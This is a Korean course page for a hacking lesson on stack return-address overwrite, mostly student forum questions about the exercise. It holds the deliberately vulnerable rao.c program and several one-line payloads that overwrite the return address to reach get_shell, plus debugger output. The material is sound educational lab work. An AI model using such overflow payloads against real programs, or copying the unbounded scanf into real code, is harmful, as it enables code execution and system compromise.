Description

Return address overwrite는 스택 프레임의 반환 주소를 조작함으로써 프로세스의 실행 흐름을 바꾸는 공격 기법입니다.
이번 강의에서는 해당 공격의 원리를 살펴보고, 이를 직접 수행하는 실습을 할 것입니다.

Objectives
Return address overwrite 공격의 원리와 발생할 수 있는 피해를 이해하고, 간단한 예제에 대해 이를 수행할 수 있다.
Questions related to this course.
17 questions
Python의 출력이 파이프가 왜 안될까요?
``` $ (python3 -c "print(b'A'*0x30 + b'B'*0x8 + b'\xdd\x11\x40\x00\x00\x00\x00\x00')";cat) b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB\xdd\x11@\x00\x00\x00\x00\x00' ``` 위처럼 파이썬 출력은 정상적으로 되는것 같은데 저 출력을 파이프하려고 하면 다음과 같이 됩니다. ``` (python3 -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xdd\x11\x40\x00\x00\x00\x00\x00')";cat)| ./rao Input: ``` 여전히 input을 받으려 하는거면 파이프가 안되고 있는 것 같은데 왜 그럴까요?
#시스템해킹
#공격기법
#buffer_overflow
python -c 으로 payload 전달방법
강의 내용중에 python -c 명령어로 쉘을 획득하는 명령어가 나오는데 동작이 안되서 여쭤봅니다. 유효한 명령어인가요? 아래 명령어 그대로 해서 되는 분 계신가요? (python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| ./rao
#시스템해킹
#공격기법
#buffer_overflow
nearpc명령어 질문 2
https://dreamhack.io/forum/qna/3781 이전질문입니다. pwndbg> nearpc main ► 0x40121f <main> endbr64 0x401223 <main+4> push rbp 0x401224 <main+5> mov rbp, rsp 0x401227 <main+8> sub rsp, 0x30 0x40122b <main+12> mov eax, 0 0x401230 <main+17> call init <init> 0x401235 <main+22> lea rax, [rip + 0xdd0] 0x40123c <main+29> mov rdi, rax 0x40123f <main+32> mov eax, 0 0x401244 <main+37> call printf@plt <printf@plt> 0x401249 <main+42> lea rax, [rbp - 0x30] 이렇게 scanf가 안나오는데 어떻게 해야하는지 아시나요? ___________________________________________________________________ pwndbg> disassemble main Dump of assembler code for function main: 0x000000000040121f <+0>: endbr64 0x0000000000401223 <+4>: push rbp 0x0000000000401224 <+5>: mov rbp,rsp 0x0000000000401227 <+8>: sub rsp,0x30 0x000000000040122b <+12>: mov eax,0x0 0x0000000000401230 <+17>: call 0x401196 <init> 0x0000000000401235 <+22>: lea rax,[rip+0xdd0] # 0x40200c 0x000000000040123c <+29>: mov rdi,rax 0x000000000040123f <+32>: mov eax,0x0 0x0000000000401244 <+37>: call 0x401070 <printf@plt> 0x0000000000401249 <+42>: lea rax,[rbp-0x30] 0x000000000040124d <+46>: mov rsi,rax 0x0000000000401250 <+49>: lea rax,[rip+0xdbd] # 0x402014 0x0000000000401257 <+56>: mov rdi,rax 0x000000000040125a <+59>: mov eax,0x0 0x000000000040125f <+64>: call 0x4010a0 <__isoc99_scanf@plt> 0x0000000000401264 <+69>: mov eax,0x0 0x0000000000401269 <+74>: leave => 0x000000000040126a <+75>: ret End of assembler dump. pwndbg> x/s 0x4010a0 0x4010a0 <__isoc99_scanf@plt>: "\363\017\036\372\362\377%\205/" pwndbg> x/s 0x40125f 0x40125f <main+64>: "\350<\376\377\377\270 ________________________________________________________________________ 이렇게 나오는데 뭐가 문제인지 모르겠네요
#시스템해킹
#공격기법
#buffer_overflow
exploit 질문
(python3 -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xdd\x11\x40\x00\x00\x00\x00\x00')";cat) | ./rao 입력 이후에 id uid가 rao가 아닌 제 uid로 나오는데 뭐가 문제일까요?
#시스템해킹
#공격기법
#buffer_overflow
스택 프레임 구조파악 nearpc 명령어
pwndbg> nearpc 0x400706 call printf@plt 0x40070b lea rax, [rbp - 0x30] 0x40070f mov rsi, rax 0x400712 lea rdi, [rip + 0xab] 0x400719 mov eax, 0 ► 0x40071e call __isoc99_scanf@plt <__isoc99_scanf @plt> format: 0x4007c4 ◂— 0x3b031b0100007325 /* '%s' */ vararg: 0x7fffffffe2e0 ◂— 0x0 ... pwndbg> x/s 0x4007c4 0x4007c4: "%s" 이렇게 나와야 하는데 -------------------------------------------------------------------------- wndbg> nearpc ► 0x40126a <main+75> ret <0x4141414141414141> 0x40126b add bl, dh 저는 이렇게 나오는데 뭐가 문제인지 알 수 있을까요? ----------------------------------------------------
#시스템_해킹
#공격기법
#buffer_overflow
core dumped 파일 미 생성
![image.png](https://dreamhack-media.s3.amazonaws.com/attachments/6d44648646f2a5cc0e0b3adc2538b6c350589ac6f86ec1a0ed64f40729f9de00.png) 1. ulimit -c unlimited 명령어 설정을 해줘도 core dumped 파일이 생성되지 않습니다. 2. (python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| ./rao 명령어를 실행해도 Input : 만 나옵니다.
#시스템_해킹
#공격기법
#buffer_overflow
exploit 질문
(python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| ./rao를 입력했는데 왜 아래처럼 오류가 뜰까요..? Input: Traceback (most recent call last): File "<string>", line 1, in <module> AttributeError: 'file' object has no attribute 'buffer'
#시스템_해킹
#공격기법
#buffer_overflow
rao.c에서 buf의 크기와 어셈블리에서 buf의 크기가 다른 이유
rao.c에서 buf의 크기는 0x28입니다. 이것을 컴파일한 후 gdb를 통해 disassemble 해서 생성된 어셈블리를 보면 크기가 0x30입니다. 차이가 나는 이유는 무엇일까요? 밑에서 같은 내용의 질문을 확인했는데 '설정한 크기에 추가적인 크기의 버퍼를 할당하는 경우가 있다라고 했고, 이것을 막기 위해 setvbuf 함수를 사용하지만, 문제에서는 변수를 선언한 후에 setvbuf를 사용해서? 버퍼의 크기가 고정되지 않은 것 같다라고 했습니다. 잘 이해가 안돼서 이 답변이 맞다면 추가적으로 설명 부탁드리고, 아니라면 답변 부탁드립니다!
#시스템_해킹
#공격기법
#buffer_overflow
패치 퀴즈 질문
main함수에서 char buf[0x28]만큼 크기를 지정해주고 printf("Input: ") 다음 입력을 해줄 때 scanf("%39s")가 될 수 있다는 것은 알겠는데 fgets(buf, 0x28, stdout)에서 0x28 40바이트만큼 넣어주면 len<=size 만큼 만족하는 거니까 이 문항도 답이 되는 것 아닌가요..? ㅠㅠ
#시스템_해킹
#공격기법
#buffer_overflow
dump core에러가납니다..
./rao Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault (core dumped) gdb -c core하면 자꾸 /home/(사용자이름)/core: No such file or directory. 이렇게 뜨네요 ulimit -c unlimited해도 마찬가지입니다. ulimit -a g하면 이렇게 나옵니다 core file size (blocks, -c) unlimited data seg size (kbytes, -d) unlimited scheduling priority (-e) 0 file size (blocks, -f) unlimited pending signals (-i) 7606 max locked memory (kbytes, -l) 65536 max memory size (kbytes, -m) unlimited open files (-n) 1024 pipe size (512 bytes, -p) 8 POSIX message queues (bytes, -q) 819200 real-time priority (-r) 0 stack size (kbytes, -s) 8192 cpu time (seconds, -t) unlimited max user processes (-u) 7606 virtual memory (kbytes, -v) unlimited file locks (-x) unlimited
#시스템_해킹
#공격기법
#buffer_overflow
Dump core 에러
현재 sudo vi /etc/sysctl.conf 와 ulimit -c unlimited 을 이미 입력했는데, 여전히 core dumped 이후에 core file이 directory에 나타나지 않습니다. 이하는 실행 결과를 일부분 생략하고 그대로 옮겨 적은 것입니다. $ ./rao (...) Segmentation fault (core dumped) $ gdb -c core GNU gdb (Ubuntu 12.0.90-0ubuntu1) 12.0.90 (...) pwndbg: loaded 199 commands. Type pwndbg [filter] for a list. pwndbg: created $rebase, $ida gdb functions (can be used with print/break) /home/(username)/core: No such file or directory. pwndbg: tip of the day: (...) pwndbg> 아무리 다른 해결방법을 찾아서 적용해봐도 directory에서 찾을 수 없다는 결과 외에는 얻을 수 없었습니다. 어떻게 하면 될까요?
#시스템_해킹
#공격기법
gdb 중 에러(dump core)
처음에 ulimit -c unlimited를 했을 때 core file이 안 나와서 포럼과 구글링을 통해서 core file을 생성을 했습니다. dump core 생성은 sudo vi /etc/sysctl.conf 해당 주석 밑에 내용 추가합니다. #kernel.domainname = example.com kernel.core_patttern = core.%e.%p 설정 적용한다. sudo sysctl -p 그런데 이제 gdb - c core를 했는데 아래와 같이 에러가 발생하고 명령어가 잘 작동이 안 해서 구글링하다가 답을 못 찾아서 질문 남겨봅니다. GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2 .... #0 0x4141414141414141 in ?? () Exception occurred: Error: maximum recursion depth exceeded in comparison (<class 'RecursionError'>) For more info invoke `set exception-verbose on` and rerun the command or debug it by yourself with `set exception-debugger on` Python Exception <class 'RecursionError'> maximum recursion depth exceeded in comparison: 아시는 분은 댓글 부탁드립니다.
#시스템_해킹
#공격기법
반환 주소가 rbp+0x8인 이유가 있나요?
rbp가 SFP인 것까지는 알겠는데 반환 주소가 0x8인 이유가 궁금합니다 SYSV 설명을 봐도 이 부분은 설명이 없는 것 같아서요...
#시스템_해킹
#공격기법
질문
``` 0x00000000004006e8 <+0>: push rbp 0x00000000004006e9 <+1>: mov rbp,rsp 0x00000000004006ec <+4>: sub rsp,0x30 0x00000000004006f0 <+8>: mov eax,0x0 0x00000000004006f5 <+13>: call 0x400667 <init> 0x00000000004006fa <+18>: lea rdi,[rip+0xbb] # 0x4007bc 0x0000000000400701 <+25>: mov eax,0x0 0x0000000000400706 <+30>: call 0x400540 <printf@plt> 0x000000000040070b <+35>: lea rax,[rbp-0x30] 0x000000000040070f <+39>: mov rsi,rax 0x0000000000400712 <+42>: lea rdi,[rip+0xab] # 0x4007c4 0x0000000000400719 <+49>: mov eax,0x0 => 0x000000000040071e <+54>: call 0x400570 <__isoc99_scanf@plt> ``` 여기서 scanf 인자주는부분 ``` 0x000000000040070b <+35>: lea rax,[rbp-0x30] ``` 요 버퍼 크기 [rbp-0x30]는 처음에 늘려준 ``` 0x00000000004006ec <+4>: sub rsp,0x30 ``` 여기부분을 가르키는건가요 아니면 call한후 그쪽 스택프레임에서 [rbp-0x30]을 가르키는건가요
#시스템_해킹
#공격기법
[rao 익스플로잇 질문]
밑에 있는 rao.c를 컴파일한 rao를 대상으로 return address overwrite공격을 하려는데요. ``` // Name: rao.c // Compile: gcc -o rao rao.c -fno-stack-protector -no-pie #include <stdio.h> #include <unistd.h> void init() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); } void get_shell() { char *cmd = "/bin/sh"; char *args[] = {cmd, NULL}; execve(cmd, args, NULL); } int main() { char buf[0x28]; init(); printf("Input: "); scanf("%s", buf); return 0; } ``` gdb로 보면 다음과 같이 buf가 rbp-0x30부터 시작됩니다. ``` ► 0x401246 <main+39> lea rax, [rbp - 0x30] 0x40124a <main+43> mov rsi, rax 0x40124d <main+46> lea rdi, [rip + 0xdc0] 0x401254 <main+53> mov eax, 0 0x401259 <main+58> call __isoc99_scanf@plt <__isoc99_scanf@plt> ``` 강의 자료처럼 0x38만큼은 아무 데이터로 채우고 나머지 길이 0x8인 return address를 get_shell()이 있는 주소로 옮겨서 쉘을 실행시키는게 목적입니다. ![화면 캡처 2022-02-12 165138.png](https://dreamhack-media.s3.ap-northeast-2.amazonaws.com/attachments/549aba172cd56a0827d15be675a6d7b5d63c96f0503eb3cfb9e4675198086970.png "화면 캡처 2022-02-12 165138.png") ``` pwndbg> print get_shell $1 = {<text variable, no debug info>} 0x4011dd <get_shell> ``` 보시다시피 get_shell함수의 주소는 0x4011dd입니다. (강의 자료는 0x4005a7이던데 다를 수가 있나요..?) 그래서 리턴 어드레스 부분은 “\xdd\x11\x40\x00\x00\x00\x00\x00"로 작성할 수 있었습니다. ```(python3 -c "print('A'*0x30 + 'B'*0x8 + '\xdd\x11\x40\x00\x00\x00\x00\x00')";cat)| ./rao``` 최종적으로 터미널에 입력한 명령은 이것인데요. 이거를 입력하면 쉘을 딸 수 있기를 기대했습니다. ```vm:~/바탕화면/dreamhack$ (python3 -c "print('A'*0x30 + 'B'*0x8 + '\xdd\x11\x40\x00\x00\x00\x00\x00')";cat)| ./rao Input: 세그멘테이션 오류 (코어 덤프됨) ``` 그런데 세그멘테이션 오류가 뜨더군요. 그래서 코어 파일을 봤습니다. ``` pwndbg> x/5gx $rsp 0x7ffd73895a70: 0x0000000000000000 0x00007ffd73895b58 0x7ffd73895a80: 0x00000001b7ef1618 0x000000000040121f 0x7ffd73895a90: 0x0000000000401270 Exception occurred: Error: maximum recursion depth exceeded in comparison (<class 'RecursionError'>) For more info invoke `set exception-verbose on` and rerun the command or debug it by yourself with `set exception-debugger on` Python Exception <class 'RecursionError'> maximum recursion depth exceeded in comparison: pwndbg> print $rip $1 = (void (*)()) 0x40119dc3 ``` 보니깐 제 생각에 main함수에서 return을 했고 rip가 제가 원하는 0x4011dd을 저장해야 될 것 같습니다. 그런데 현재 rip는 0x40119dc을 저장하고 있더군요. 4011부분은 맞는데 dd가 아닌 9dc3이 어떻게 나왔는지 모르겠습니다 ㅠㅠ 도움 부탁드립니다..
#시스템_해킹
#공격기법
익스플로잇 질문
엔디언을 적용한 페이로드 작성에서 아래와 같은 코드를 사용하였습니다. 이때 get_shell address 뒤에 왜 cat명령어를 붙여주나요? cat 명령어를 빼고 실행하면 셸을 얻고 바로 종료되는거 같네요.. ``` (python -c "print 'A'*0x30 + 'B'*0x8 + '\xa7\x05\x40\x00\x00\x00\x00\x00'";cat)| ./rao ``` 그리고, rao.c에서 char buf[0x28] 만큼 할당했는데 scanf의 buf에서는 [0x30]만큼의 메모리를 할당하나요?
#시스템_해킹
#공격기법
core dump 생성
ulimit -c -unlimited로 코어 파일 사이즈를 unlimited로 바꾸어도 코어덤프가 생성되지 않습니다. 이럴 때는 어떻게 해결해야 하나요?
#시스템_해킹
#공격기법
Rating
9.8★ (25)
0
Exploit Tech: Return Address Overwrite
9.8★ (25)
Free
Detail
2 hours read
Easy
없음